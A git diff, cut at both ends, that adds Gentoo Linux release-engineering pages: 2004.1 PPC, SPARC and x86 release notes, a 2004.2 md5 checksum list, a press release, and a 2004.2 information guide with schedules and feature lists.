+<br/>Xfce4 panel network load monitor plugin [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xfce4-systray-4.0.1
+<br/>Xfce4 system tray [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xfce4-themes-4.0.0
+<br/>Xfce4 themes [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xfce4-iconbox-4.0.1
+<br/>Xfce4 iconbox [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xfce4-battery-0.2.0
+<br/>Xfce4 panel battery monitor plugin [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xfce4-showdesktop-0.2.0
+<br/>Xfce4 panel plugin to hide/show desktop [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xfce4-mixer-4.0.1
+<br/>Xfce4 Mixer [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xfwm4-themes-4.0.0
+<br/>Xfwm themes [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xffm-icons-4.0.0
+<br/>Icons for xffm [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xfce4-toys-4.0.1
+<br/>Xfce4 toys [ http://www.xfce.org ]</li>
+		</ul>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+		<p>
+The Portage version included in this release is 2.0.50-r1 and  the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>  
+can be found via our online CVS repository.
+		</p>
+		
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<p>
+			The PPC livecd building script has been merged into Catalyst, the multi-arch Gentoo meta-tool for building releases. If you want to
+			build your own PPC livecds, simply emerge catalyst and follow the online instructions. Questions about catalyst should be
+			directed to the Gentoo Releng team. Questions about PowerPC livecd building or the former PPC livecd building tool should
+			go to <mail link="pvdabeel@gentoo.org">Pieter Van den Abeele</mail>.
+			</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>As of 2004.0, all PPC documentation has been merged into the Gentoo Handbook, which is available <uri link="http://www.gentoo.org/doc/en/handbook">here</uri> 
+			A PDF, html and text version of this handbook is included on all CDs. </p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading from previous versions of Gentoo Linux</title>
+	<section>
+		<title>Upgrading to Gentoo Linux 2004.0</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version  1.4, 2004.0, 2004.1/RC) there is no need to reinstall. 
+			You will automatically get Gentoo 2004.1 if you sync your Portage tree and run  emerge --update world.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.1/sparc-release-notes.xml b/xml/htdocs/proj/en/releng/release/2004.1/sparc-release-notes.xml
new file mode 100644
index 00000000..d7d18eee
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.1/sparc-release-notes.xml
@@ -0,0 +1,240 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.1/sparc-release-notes.xml,v 1.2 2004/04/28 01:24:09 zhen Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="sparc-release-notes.xml">
+<title>SPARC Release Notes for Gentoo Linux 2004.1</title>
+
+<author title="Author">
+ <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="SPARC Release Manager">
+	<mail link="gustavoz@gentoo.org">Gustavo Zacarias</mail>
+</author>
+<author title="SPARC Release Manager">
+	<mail link="weeve@gentoo.org">Jason Wever</mail>
+</author>
+
+<abstract>
+Gentoo 2004.1 Release Notes
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>22 April 2004</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2004.1
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 2004.0. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2004.1</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2004.1 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200403-01 to 200404-13.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the gentoo-security mailing list
+			<uri link="http://news.gmane.org/gmane.linux.gentoo.security">archive</uri>. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>My UltraSPARC III+ machine won't boot.</ti>
+				<ti>Some models require 2.6-series kernels because of newer hardware.<br/>An experimental livecd will be made available shortly.</ti>
+			</tr>
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.3.3</li>
+				<li>glibc 2.3.2-r9</li>
+				<li>sparc-sources-2.4.25-r1</li>
+				<li>vanilla-sources-2.4.26</li>
+				<li>Portage 2.0.50-r6</li>
+				<li>Baselayout 1.8.11</li>
+				<li>Coreutils 5.2.0</li>
+				<li>XFree86 4.3.0-r5</li>
+				<li>KDE 3.2.1</li>
+				<li>GNOME 2.4.2</li>
+				<li>XFCE4 4.0.4</li>
+			</ul>
+
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.50-r6 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Genkernel has been updated. Its behaviour is different
+				to previous versions in previous releases.</li>
+				<li>Gentoo Linux 2004.1 is compatible with Linux kernel 2.6.
+				To use kernel 2.6, just <c>emerge development-sources</c>.
+				Please note that this is still considered experimental for the SPARC architecture, specially sparc32.</li>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.0.6. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Much consideration and time has been spent on the Gentoo Installation Handbook in 
+			order to get it more in sync with Gentoo 2004.1. Please note that it is a constant 
+			work in progress, and if any bugs are encountered, please refer them to the Gentoo Linux 
+			bugtracking system at http://bugs.gentoo.org.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2004.1</title>
+	<section>
+		<title>Installing Gentoo Linux 2004.1</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook-sparc.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			LiveCD which contains precompiled binaries of popular
+			programs such as XFree86, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There are two kernels to choose from when using a Gentoo LiveCD to boot your
+			machine. The two main choices, the 2.4.25 based <c>gentoo-2.4</c> kernel and the SMP enabled <c>gentoo-2.4-smp</c> kernel
+			will boot the machine into either uniprocessor or multiprocessor (SMP) mode, respectively.
+			You can always press "TAB" for a list of boot options and help in SILO.</p>
+
+			<p>Sparc32 subarch machines are the 32-bit processor based sun4cdm (SPARCstation, SPARCserver) machines. </p>
+			<p>
+			Sparc64 subarch machines are the 64-bit processor based sun4u (Enterprise, Ultra, Fire, Blade) machines.</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD for sparc32</ti>
+					<ti>/releases/sparc/2004.1/livecd/sparc/install-sparc-universal-2004.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD for sparc64</ti>
+					<ti>/releases/sparc/2004.1/livecd/sparc64/install-sparc64-universal-2004.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD for sparc32</ti>
+					<ti>/releases/sparc/2004.1/livecd/sparc/install-sparc-minimal-2004.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD for sparc64</ti>
+					<ti>/releases/sparc/2004.1/livecd/sparc64/install-sparc64-minimal-2004.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable PackageCD for sparc32</ti>
+					<ti>/releases/sparc/2004.1/packagecd/sparc/packages-sparc-2004.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable PackageCD for sparc64</ti>
+					<ti>/releases/sparc/2004.1/packagecd/sparc64/packages-sparc64-2004.1.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2004.1</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux, version
+			1.4 or 2004.0, there is no need to reinstall. You will automatically
+			get Gentoo 2004.1 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2004.1. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer than a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.1/x86-release-notes.xml b/xml/htdocs/proj/en/releng/release/2004.1/x86-release-notes.xml
new file mode 100644
index 00000000..169625c7
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.1/x86-release-notes.xml
@@ -0,0 +1,234 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.1/x86-release-notes.xml,v 1.3 2004/04/29 14:31:12 beejay Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="x86-release-notes.xml">
+<title>x86 Release Notes for Gentoo Linux 2004.1</title>
+
+<author title="Author">
+ <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="x86 Release Manager">
+	<mail link="beejay@gentoo.org">Benjamin Judas</mail>
+</author>
+
+<abstract>
+Gentoo 2004.1 Release Notes
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>19 April 2004</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2004.1
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 1.4. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2004.1</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2004.1 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200403-01 to 200404-13.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the gentoo-security mailing list
+			<uri link="http://news.gmane.org/gmane.linux.gentoo.security">archive</uri>. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Some NForce2 based boards may not display the bootsplash
+				graphics properly.</ti>
+				<ti>Boot using the gentoo-nofb or smp-nofb kernels.</ti>
+			</tr>
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.3.2-r5</li>
+				<li>glibc 2.3.2-r9</li>
+				<li>development-sources-2.6.6_rc1</li>
+				<li>gaming-sources-2.4.20-r10</li>
+				<li>gentoo-dev-sources-2.6.5-r1</li>
+				<li>gentoo-sources-2.4.25-r2</li>
+				<li>grsec-sources-2.4.26.2.0</li>
+				<li>gs-sources-2.4.25_pre7-r4</li>
+				<li>mm-sources-2.6.5-r6</li>
+				<li>openmosix-sources-2.4.22-r4</li>
+				<li>planet-ccrma-sources-2.4.21-r7</li>
+				<li>usermode-sources-2.6.3-r2</li>
+				<li>vanilla-sources-2.4.26</li>
+				<li>win4lin-sources-2.6.5-r1</li>
+				<li>wolk-sources-4.9-r6</li>
+				<li>Portage 2.0.50-r6</li>
+				<li>XFree86 4.3.0-r5</li>
+				<li>KDE 3.2.1</li>
+				<li>GNOME 2.4.2</li>
+				<li>XFCE4 4.0.4</li>
+			</ul>
+
+			<p>Coreutils is now available in Version 5.0.91-r4 with ACL
+			patches.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.50-r6 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Genkernel has been updated. Its behaviour is different
+				to previous versions in previous releases.</li>
+				<li>Gentoo Linux 2004.1 is fully compatible with Linux kernel 2.6.
+				To use kernel 2.6, just <c>emerge gentoo-dev-sources</c>. </li>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.0.4. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Much consideration and time has been spent on the Gentoo Installation Handbook in 
+			order to get it more in sync with Gentoo 2004.1. Please note that it is a constant 
+			work in progress, and if any bugs are encountered, please refer them to the Gentoo Linux 
+			bugtracking system at http://bugs.gentoo.org.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2004.1</title>
+	<section>
+		<title>Installing Gentoo Linux 2004.1</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			LiveCD which contains precompiled binaries of popular
+			programs such as XFree86, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There are several kernels to choose from when using a Gentoo LiveCD to boot your
+			machine. The two main choices, the 2.4.25 based <c>gentoo</c> kernel and the 2.6.5 based <c>smp</c> kernel
+			will boot the machine into either uniprocessor or multiprocessor (SMP) mode, respectively.
+			The other two options, <c>gentoo-nofb</c> and <c>smp-nofb</c> boot the machine into uniprocessor
+			or multiprocessor mode without console framebuffer support. Press "F1" at the boot
+			prompt to choose which kernel to boot into.</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD</ti>
+					<ti>/releases/x86/2004.1/livecd/universal/install-x86-universal-2004.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD</ti>
+					<ti>/releases/x86/2004.1/livecd/universal/install-x86-minimal-2004.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable GRP LiveCD</ti>
+					<ti>/releases/x86/2004.1/livecd/$subarch/packages-$subarch-2004.1.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2004.1</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4) there is no need to reinstall. You will automatically get
+			Gentoo 2004.1 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2004.1. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.2/2004.2-md5.txt b/xml/htdocs/proj/en/releng/release/2004.2/2004.2-md5.txt
new file mode 100644
index 00000000..ce4787ea
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.2/2004.2-md5.txt
@@ -0,0 +1,49 @@
+df2dd58ea0afc7a1d7b94a518097f809  install-x86-universal-2004.2.iso
+722f6eecb0a5a593f10ec5cc8452a7f5  install-x86-universal-allstages-2004.2.iso
+237886b35a7591a97298fe1ed4da238a  install-x86-minimal-2004.2.iso
+523cd8202c1502d688145c553403af8f *packages-i686-2004.2.iso
+32907e843bf1cae810d991b90cf88999 *packages-x86-2004.2.iso
+c55bbeb6ed76856d315394060434bfb4  packages-pentium3-2004.2.iso
+cbeeaad353d829892eab049510ae7951  packages-pentium4-2004.2.iso
+c8ca5a3194b8e8f57b96fda3517ccf89  packages-athlon-xp-2004.2.iso
+95507e8b94e26e745d97cb1ccb0af050 *stage2-i686-2004.2.tar.bz2
+dc9b5f7248a479be680ce1302ea558eb  stage3-i686-2004.2.tar.bz2
+327f1ef412a9c4e5aad7385e721b16bb *stage1-x86-2004.2.tar.bz2
+612b2528139a43ea2576ca28980e90a6 *stage2-x86-2004.2.tar.bz2
+e412ec205574a4e13f986e17828a7c45 *stage3-x86-2004.2.tar.bz2
+5b22e0173de7784b66f8f007a3a04b7a *stage2-pentium3-2004.2.tar.bz2
+6febebc625768cce96caad231bcae714 *stage3-pentium3-2004.2.tar.bz2
+2f652c7909e030013946ca3b970ea3b3 *stage2-pentium4-2004.2.tar.bz2
+523b86ae2c5c31424ac8ec17b3285288 *stage3-pentium4-2004.2.tar.bz2
+0f80169fe29ab8dbdbb9660f890c61e4 *stage2-athlon-xp-2004.2.tar.bz2
+6ab2ecc22cdc518868a93698e291b0e7 *stage3-athlon-xp-2004.2.tar.bz2
+22a2b19c45184c0f9943959750ce7293  install-hppa-minimal-2004.2.iso
+2c2ec80dde202ef141f482a64b4e134f  install-hppa-universal-2004.2.iso
+63220ea09e368251af7d7800c1bd35e8  packages-hppa-2004.2.iso
+b540996fe11f217b82dc3bb99be4fe60  stage1-hppa-2004.2.tar.bz2
+5127d0a81e4e324f2aaa85a35486c221  stage2-hppa-2004.2.tar.bz2
+a57ea582f96d2640055bd58674ee95c9  stage3-hppa-2004.2.tar.bz2
+ebb7f965bd6177d76cf99e6e902dea6c  install-sparc64-minimal-2004.2.iso
+e496f77c074b9023a7e8d1a4d63c7348  install-sparc64-universal-2004.2.iso
+8440adb273b4fa2459d7d31d8e7bee37  packages-sparc64-2004.2.iso
+3ed885b378c06d862465acd41aa6368b  stage1-sparc-2004.2.tar.bz2
+4cdf44a6c179dcc92913239695a4c4cd  stage2-sparc-2004.2.tar.bz2
+f40b06be1bfa60f99ff0ed73dd298f5d  stage3-sparc-2004.2.tar.bz2
+b7046a768c26726fcca9e6cdbb9ac1a6  stage1-sparc64-2004.2.tar.bz2
+20def63b30470399d502c6e6933dd8a3  stage2-sparc64-2004.2.tar.bz2
+eeaa8d5eba43434ba0c5f57b5e8e66d5  stage3-sparc64-2004.2.tar.bz2
+8654aad44d6fa5343ec53f21e8aab470  install-amd64-2004.2-minimal.iso
+15dc7735dc1464dd248b67150dc232af  install-amd64-2004.2-universal.iso
+7afe073f8192570e65b9d802652b83e8  stage1-amd64-2004.2.tar.bz2
+58747165ef5e536df0dae2e9f43b1b99  stage2-amd64-2004.2.tar.bz2
+b3b7f89322398cbb74825dfffa1cb907  stage3-amd64-2004.2.tar.bz2
+42273b6e774498cc865b242c8ddf6150  packages-amd64-2004.2.iso
+ecb334d3aec83412075649ea0b9aaa61 *stage1-x86-pie-ssp-2004.2.tar.bz2
+d95f037089f1215e6585af05009b5c7d *stage2-x86-pie-ssp-2004.2.tar.bz2
+124c329f4b25d8f5f9b3258613646055 *stage3-x86-pie-ssp-2004.2.tar.bz2
+7aaa6fd4c005db72de998b91a803838e  stage2-x86-selinux-2004.2.tar.bz2
+8940021b8b77b84f5bb7e0e28820b694  stage2-x86-selinux-pie-ssp-2004.2.tar.bz2
+cacbde91a1c475a1dc1b3eaffd4d56ae  stage3-x86-selinux-2004.2.tar.bz2
+13154687c01209de477ddc735d5d146c  stage3-x86-selinux-pie-ssp-2004.2.tar.bz2
+afd68cb1160764e1112691d126b48c9c  stage1-x86-selinux-2004.2.tar.bz2
+27552eb0ce5219d25bf8f720a59a2265  stage1-x86-selinux-pie-ssp-2004.2.tar.bz2
diff --git a/xml/htdocs/proj/en/releng/release/2004.2/2004.2-press-release.txt b/xml/htdocs/proj/en/releng/release/2004.2/2004.2-press-release.txt
new file mode 100644
index 00000000..3bec6397
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.2/2004.2-press-release.txt
@@ -0,0 +1,31 @@
+July 26th, 2004 -- for immediate release at 0000 UTC
+Author: John Davis <zhen@gentoo.org>
+
+Today marks the release of Gentoo Linux 2004.2 for the AMD64, HPPA,
+SPARC and X86 architectures! The Gentoo Linux
+Release Engineering project has worked hard to improve key problem
+areas identified in the 2004.1 release. These areas of improvement include, 
+but are not limited to:
+	
+	-LiveCD compatibility with Dell server-class machines
+	-LiveCD compatibility with SMP machines
+	-x86 laptop PCMCIA support
+	-Wireless (802.11a/b/g) capabilities
+	-SATA support
+
+Detailed information for Gentoo Linux 2004.2, such as Release Notes
+and md5sums, can be found at the 2004.2 information page [1].
+
+Gentoo Linux 2004.2 can be downloaded from any one of our official
+download mirrors [2], as well as from our new BitTorrent system [3].
+Please note that pentium3, pentium4, and athlon-xp PackageCDs are
+only available either by download via BitTorrent or through purchase
+at the Gentoo Store [4]. Additional GRP sets will be available via BitTorrent
+shortly.
+
+Thank you for choosing Gentoo Linux!
+
+1. http://www.gentoo.org/proj/en/releng/release/2004.2/2004.2.xml
+2. http://www.gentoo.org/main/en/mirrors.xml
+3. http://torrents.gentoo.org
+4. http://store.gentoo.org
diff --git a/xml/htdocs/proj/en/releng/release/2004.2/2004.2.xml b/xml/htdocs/proj/en/releng/release/2004.2/2004.2.xml
new file mode 100644
index 00000000..2e78d62a
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.2/2004.2.xml
@@ -0,0 +1,245 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.2/2004.2.xml,v 1.13 2005/12/01 16:25:06 wolf31o2 Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="/proj/en/releng/release/2004.2/2004.2.xml">
+<title>2004.2 Information Guide</title>
+
+<author title="Author">
+  <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="Editor">
+  <mail link="jforman@gentoo.org">Jeffrey Forman</mail>
+</author>
+
+
+<abstract>
+	This guide serves as the definitive source for all 2004.2 information.
+</abstract>
+
+<license/>
+
+<version>1.4</version>
+<date>26 June 2004</date>
+
+<chapter>
+	<title>Goals</title>
+	<section>
+		<body>
+		
+			<p>2004.2 is a natural progression for the Gentoo release cycle.
+			2004.0 was focused on simply releasing, 2004.1 was focused on releasing
+			and polishing the release process, and 2004.2 is going to focus on
+			release media QA. To achieve this focus, 2004.2 has two distinct goals: </p>
+
+			<ul>
+				<li>Completion of the Feature Request (found later in this document).</li>
+				<li>Stringent QA on release media</li>
+			</ul>
+			
+			<p>The schedule has been redefined in order to make these two important goals
+			possible.</p>
+			
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>2004.2 Information</title>
+	<section>
+		<title>Release Resources</title>
+		<body>
+
+		<p><b>Release Notes:</b></p>
+		<ul>
+			<li><uri link="http://amd64.gentoo.org/technotes.xml">AMD64 Release Notes</uri></li>
+			<li>HPPA Release Notes</li>
+			<li>SPARC Release Notes</li>
+			<li><uri link="/proj/en/releng/release/2004.2/x86-release-notes.xml">X86 Release Notes</uri></li>
+		</ul>
+		
+		<p>md5sums for all release media can be found on the mirrors.
+		Alternatively, a single text file containing all of the md5sums is
+		also <uri link="/proj/en/releng/release/2004.2/2004.2-md5.txt">available</uri>.</p>
+
+		<p>All release media is signed by the <c>Gentoo Linux Release Engineering (releng@gentoo.org)</c>
+		PGP key. The public key ID is <c>17072058</c>, and the key is available through the
+		<c>subkeys.pgp.net</c> keyserver.</p>
+		
+		</body>
+	</section>
+		
+	<section>
+		<title>Contacts and Schedule</title>
+		<body>
+		
+		<p><b>Contacts:</b></p>
+		<ul>
+			<li>Release Operations: <mail link="zhen@gentoo.org">John Davis (zhen)</mail></li>
+			<li>Public Relations: <mail link="zhen@gentoo.org">John Davis (zhen)</mail></li>
+			<li>Documentation: <mail link="swift@gentoo.org">Sven Vermeulen</mail></li>
+			<li>Infrastructure: <mail link="jforman@gentoo.org">Jeff Forman</mail></li>
+		</ul>
+		
+		<p><b>2004.2 Schedule</b></p>
+
+		<table>
+			<tr>
+				<th>Milestone</th>
+				<th>Description</th>
+				<th>Deadline</th>
+				<th>Status</th>
+			</tr>
+			<tr>
+				<ti>Feature Discovery</ti>
+				<ti>Field features that can realistically be integrated into 2004.2</ti>
+				<ti>May 10th</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>QA Testing</ti>
+				<ti>Release components have been thoroughly tested in accordance
+				with the QA guidelines. At least one test release has been made by this time.</ti>
+				<ti>July 18th</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>Release upload</ti>
+				<ti>All release components are uploaded to the arch release 
+				coordinator's webspace on dev.gentoo.org</ti>
+				<ti>July 19th</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>Mirrors are staged</ti>
+				<ti>Releng and Infra will stage the mirrors</ti>
+				<ti>July 21st</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>2004.2 Release</ti>
+				<ti>2004.2 is publically released</ti>
+				<ti>July 26th</ti>
+				<ti>Complete</ti>
+			</tr>
+		</table>
+
+		</body>
+	</section>
+
+	<section>
+		<title>Feature Request List</title>
+		<body>
+
+			<p>Rejected feature proposals have been archived for later inspection.</p>
+			
+			<table>
+				<tr>
+					<th>Feature</th>
+					<th>Developer(s) in Charge</th>
+					<th>Progress</th>
+				</tr>
+				<tr>
+					<ti>udev support for Catalyst</ti>
+					<ti>zhen</ti>
+					<ti>Deferred for 2004.3</ti>
+				</tr>
+				<tr>
+					<th>SATA device detection and documentation</th>
+					<th>roger55, jhuebel, tgall_foo</th>
+					<th>Complete</th>
+				</tr>
+				<tr>
+					<th>Creation of LiveCD Herd</th>
+					<th>wolf31o2</th>
+					<th>Complete</th>
+				</tr>
+				<tr>
+					<th>Improved LiveCD Dell server support</th>
+					<th>mattm, wolf31o2</th>
